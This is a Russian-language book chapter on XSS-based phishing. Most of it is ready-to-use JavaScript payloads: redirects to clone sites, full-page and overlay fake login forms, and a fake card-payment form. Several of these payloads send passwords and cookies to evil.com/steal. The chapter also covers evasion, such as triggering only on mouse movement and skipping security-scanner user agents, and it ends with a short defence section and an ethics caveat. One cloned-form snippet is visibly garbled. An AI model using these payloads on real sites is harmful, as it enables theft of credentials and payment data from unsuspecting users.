Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • Фишинг и редиректы
Cookie grabbing и keylogging требуют, чтобы жертва хоть немного побыла на странице с твоим payload. А что если можно вообще не ждать - просто мгновенно перенаправить жертву на клон легитимного сайта и получить пароль прямо там, добровольно введённый? XSS-фишинг - это гибрид социальной инженерии и технической эксплуатации, где уязвимость сайта используется не для кражи данных напрямую, а для создания идеального плацдарма для обмана. И именно потому, что фишинговая страница открывается в контексте доверенного домена, жертва теряет последний барьер настороженности - адресную строку.
Почему XSS-фишинг работает лучше обычного
Классический фишинг - это письмо от "банка" с ссылкой на bank-secure-login.com. Пользователь смотрит на URL и такой: "Хм, это не похоже на настоящий сайт банка". XSS-фишинг убирает эту проблему полностью: жертва находится на real-bank.com, видит валидный SSL-сертификат, видит правильный домен в адресной строке. Разница только в контенте страницы, который ты подменил через инъекцию.
Это критично важно для финансовых сервисов и банковских приложений, где пользователи привыкли проверять именно домен как индикатор безопасности. Если XSS найден на портале банка, атакующий получает идеальный вектор - жертва абсолютно уверена, что находится в защищённой среде, потому что технически это правда.
Базовые техники редиректа
JavaScript location redirect
Самый простой способ увести жертву на подставную страницу:
location.href = 'https://evil-clone.com/login';
Payload для инъекции:
<img src=x onerror="location.href='https://evil-clone.com/login'">
Или через location.replace(), который не оставляет исходную страницу в истории браузера (жертва не сможет вернуться назад кнопкой "back"):
<svg onload="location.replace('https://evil-clone.com/login')">Meta refresh redirect
Альтернативный способ через HTML без чистого JavaScript - полезно, когда фильтр режет <script>, но пропускает мета-теги:
Window.open для дополнительного окна
Иногда выгоднее не убирать оригинальную страницу, а открыть поддельную в новом окне поверх:
window.open('https://evil-clone.com/login', '_blank', 'width=500,height=600');Это создаёт эффект "модального окна логина", что выглядит естественно для многих сайтов, использующих popup-авторизацию через OAuth.
In-page фишинг -не покидая домен вообще
Самая мощная техника -не редиректить жертву никуда, а полностью подменить содержимое текущей страницы через DOM-манипуляции, оставляя URL неизменным.
document.body.innerHTML = `
<div style="max-width:400px;margin:100px auto;padding:20px;border:1px solid #ccc;font-family:Arial;">
<h2>Сессия истекла</h2>
<p>Пожалуйста, войдите снова для продолжения работы.</p>
<form id="phish-form">
<input type="text" name="username" placeholder="Логин" style="width:100%;padding:10px;margin:10px 0;">
<input type="password" name="password" placeholder="Пароль" style="width:100%;padding:10px;margin:10px 0;">
<button type="submit" style="width:100%;padding:10px;background:#0066cc;color:white;border:none;">Войти</button>
</form>
</div>
`;
document.getElementById('phish-form').addEventListener('submit', function(e) {
e.preventDefault();
var data = new FormData(this);
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify({user: data.get('username'), pass: data.get('password')})
}).then(() => {
location.reload(); // Показать "нормальную" страницу после кражи
});
});
Разбор техники:
- Полностью заменяем видимый контент страницы на фейковую форму логина
- URL в адресной строке остаётся настоящим доменом сайта - жертва не видит никаких признаков подмены
- При отправке формы данные летят на сервер атакующего
- После кражи страница перезагружается, показывая жертве настоящий контент, будто ничего не произошло
Оверлей вместо полной замены
Более элегантный вариант - не удалять оригинальный контент, а накрыть его модальным окном, имитирующим системное сообщение:
var overlay = document.createElement('div');
overlay.style = 'position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.8);z-index:99999;display:flex;align-items:center;justify-content:center;';
overlay.innerHTML = `
<div style="background:white;padding:30px;border-radius:8px;max-width:400px;">
<h3>Требуется повторная авторизация</h3>
<p>Для продолжения подтвердите пароль.</p>
<input type="password" id="phish-pass" placeholder="Пароль" style="width:100%;padding:10px;margin:10px 0;">
<button id="phish-btn" style="width:100%;padding:10px;background:#0066cc;color:white;">Подтвердить</button>
</div>
`;
document.body.appendChild(overlay);
document.getElementById('phish-btn').addEventListener('click', function() {
var pass = document.getElementById('phish-pass').value;
fetch('https://evil.com/steal?p=' + encodeURIComponent(pass) + '&u=' + encodeURIComponent(document.cookie));
overlay.remove();
});Этот подход психологически сильнее - жертва видит, что "основной" сайт остаётся видимым под затемнением, что создаёт иллюзию легитимного системного запроса, а не отдельной подозрительной страницы.
Клонирование реальных форм логина
Профессиональный подход - не рисовать примитивную форму от руки, а полностью скопировать HTML/CSS оригинальной страницы логина, чтобы визуально ничего не отличалось.
Workflow:
- Открой настоящую страницу логина целевого сайта
- Сохрани полный HTML через "View Page Source" или DevTools
- Вычлени только форму логина со всеми стилями
- Замени action формы на свой обработчик
- Встрой получившийся HTML в свой XSS payload через
document.write()илиinnerHTML
fetch('https://evil.com/cloned-login.h
tml') .then(r =>
r.text()) .then(ht
ml => { document.body.innerHT
ML = html; document.querySelector('form').addEventListener(
39;submit', function
(e) { e.preventDefault();
var data = new FormData(this); fetch('https://evil.com/ste
al'
;, {method: 'POST', body: data}); }); });Здесь клонированная страница подгружается с внешнего ресурса, что делает исходный XSS payload минимальным - всего одна строчка fetch(), которая незаметна в исходном коде инъекции.
Редирект через открытые перенаправления (Open Redirect + XSS)
Комбинация XSS с уязвимостью Open Redirect на том же сайте даёт дополнительный слой легитимности. Вместо прямого редиректа на внешний домен, используй встроенный редирект-механизм сайта:
location.href = 'https://real-bank.com/redirect?url=https://evil-clone.com/login';
Если жертва проверяет URL мельком, она видит начало real-bank.com/redirect - что выглядит куда безопаснее прямого перехода на посторонний домен.
Фишинг платёжных данных - особая осторожность
Когда цель - финансовые данные (номера карт, CVV, banking credentials), фишинговая форма должна визуально совпадать с реальными формами оплаты или банковского входа, включая корректные плейсхолдеры и маски ввода:
document.body.innerHTML = `
<div style="max-width:450px;margin:50px auto;padding:25px;border-radius:10px;box-shadow:0 2px 10px rgba(0,0,0,0.1);font-family:-apple-system,Arial;">
<h3>Подтверждение платежа</h3>
<p>Для завершения операции введите данные карты повторно</p>
<input type="text" placeholder="0000 0000 0000 0000" maxlength="19" style="width:100%;padding:12px;margin:8px 0;border:1px solid #ddd;border-radius:4px;">
<div style="display:flex;gap:10px;">
<input type="text" placeholder="MM/YY" style="width:50%;padding:12px;border:1px solid #ddd;border-radius:4px;">
<input type="text" placeholder="CVV" maxlength="3" style="width:50%;padding:12px;border:1px solid #ddd;border-radius:4px;">
</div>
<button style="width:100%;padding:12px;margin-top:15px;background:#28a745;color:white;border:none;border-radius:4px;">Подтвердить платёж</button>
</div>
`;
Работа с такими сценариями требует предельной этической осторожности: кража платёжных данных через XSS - это прямое финансовое преступление с уголовной ответственностью, и легально это применимо исключительно в рамках авторизованного пентеста финансовой организации с чётко подписанным scope, где явно указано тестирование социальной инженерии и фишинговых векторов.
Таймер и авто-скрытие для минимизации следов
Профессиональный фишинг-payload не остаётся видимым вечно - он должен исчезать, если жертва не взаимодействует, чтобы не привлекать внимание при случайном возвращении на вкладку:
var phishTimeout = setTimeout(function() {
location.reload(); // Убираем фейковую форму, если жертва не отреагировала за 30 сек
}, 30000);
document.getElementById('phish-form').addEventListener('submit', function() {
clearTimeout(phishTimeout);
});Detection Evasion - маскировка редиректов
Задержка перед редиректом
Мгновенный редирект сразу после загрузки страницы выглядит подозрительно и может триггерить автоматизированные security-сканеры, которые проверяют статические паттерны. Добавь задержку и условие на реальное взаимодействие пользователя:
document.addEventListener('mousemove', function() {
location.href = 'https://evil-clone.com/login';
}, {once: true});Редирект срабатывает только на реальное движение мыши - автоматические боты и сканеры часто не эмулируют такое поведение, что помогает пройти мимо базовых защитных систем.
Условный редирект по User-Agent
Ограничь исполнение payload'а только для целевой аудитории, исключив ботов безопасности:
if (!/bot|crawler|spider|headless/i.test(navigator.userAgent)) {
location.href = 'https://evil-clone.com/login';
}Защита от XSS-фишинга
Для разработчиков:
- Content Security Policy с директивой
form-action, ограничивающей, куда могут отправляться данные форм frame-ancestorsиX-Frame-Optionsпротив clickjacking-комбинаций- Мониторинг аномальных DOM-изменений через Mutation Observer на стороне защиты (некоторые банковские приложения используют integrity-checking скрипты)
- Обучение пользователей: реальный сервис никогда не должен запрашивать повторный ввод пароля посреди сессии без явной причины
Для финансовых организаций особенно критично: регулярный пентест форм логина и платёжных страниц, потому что именно эти точки - главная цель XSS-фишинга, где ставки выше, чем на любом другом типе сайта.
Заключение
Фишинг через XSS - это момент, когда техническая уязвимость превращается в психологическую манипуляцию высшего уровня. Ты не взламываешь пароль математически - ты убеждаешь жертву отдать его добровольно, используя единственное преимущество, которое даёт легитимный домен: доверие. In-page подмена контента без изменения URL, клонирование реальных форм, условные триггеры на движение мыши - всё это инструменты создания идеальной иллюзии безопасности там, где её на самом деле уже нет. Именно поэтому XSS на страницах логина и оплаты финансовых сервисов оценивается bug bounty программами в разы выше, чем на обычном блоге - impact здесь не гипотетический, а прямой путь к краже денег.
